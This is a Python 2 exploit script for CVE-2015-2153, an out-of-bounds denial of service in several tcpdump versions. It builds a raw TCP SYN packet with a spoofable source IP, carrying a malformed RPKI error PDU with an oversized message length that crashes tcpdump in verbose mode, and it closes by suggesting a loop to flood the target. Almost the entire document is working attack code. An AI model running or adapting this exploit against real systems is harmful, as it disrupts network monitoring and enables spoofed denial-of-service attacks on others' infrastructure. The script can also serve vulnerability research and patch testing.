# Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service # Date: 7.18.2015 # Exploit Author: Luke Arntson arntsonl@gmail.com # Vendor Homepage: http://www.tcpdump.org/ # Software Link: http://www.tcpdump.org/ # Version: 4.6.2, 4.5.1, 4.4.0 # Tested on: Lubuntu 14.04 64-bit # CVE : CVE-2015-2153 # Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger. import socket, sys from struct import * def checksum(msg): s = 0 for i in range(0, len(msg), 2): w = ord(msg[i]) + (ord(msg[i+1]) << 8 ) s = s + w s = (s>>16) + (s & 0xffff); s = s + (s >> 16); s = ~s & 0xffff return s if len(sys.argv) != 3: print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>" exit() # fake the source and destination source_ip = sys.argv[1] dest_ip = sys.argv[2] try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() packet = '' # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (ip_ver << 4) + ip_ihl ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # tcp header fields tcp_source = 255 # source port tcp_dest = 323 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) # CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type. # The RPKI pdu looks like the following # [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ] # by giving message length a long value, we cause the buffer to write into bad memory error_pdu = '\x41' # fake version error_pdu = error_pdu + '\x0A' # error type error_pdu = error_pdu + '\x00\x01' # error number error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS error_pdu = error_pdu + 'AAAA' # fake message user_data = error_pdu # pseudo header fields source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) + len(user_data) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); psh = psh + tcp_header + user_data; tcp_check = checksum(psh) # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr) # final full packet - syn packets dont have any data packet = ip_header + tcp_header + user_data #Send the packet finally - the port specified has no effect s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target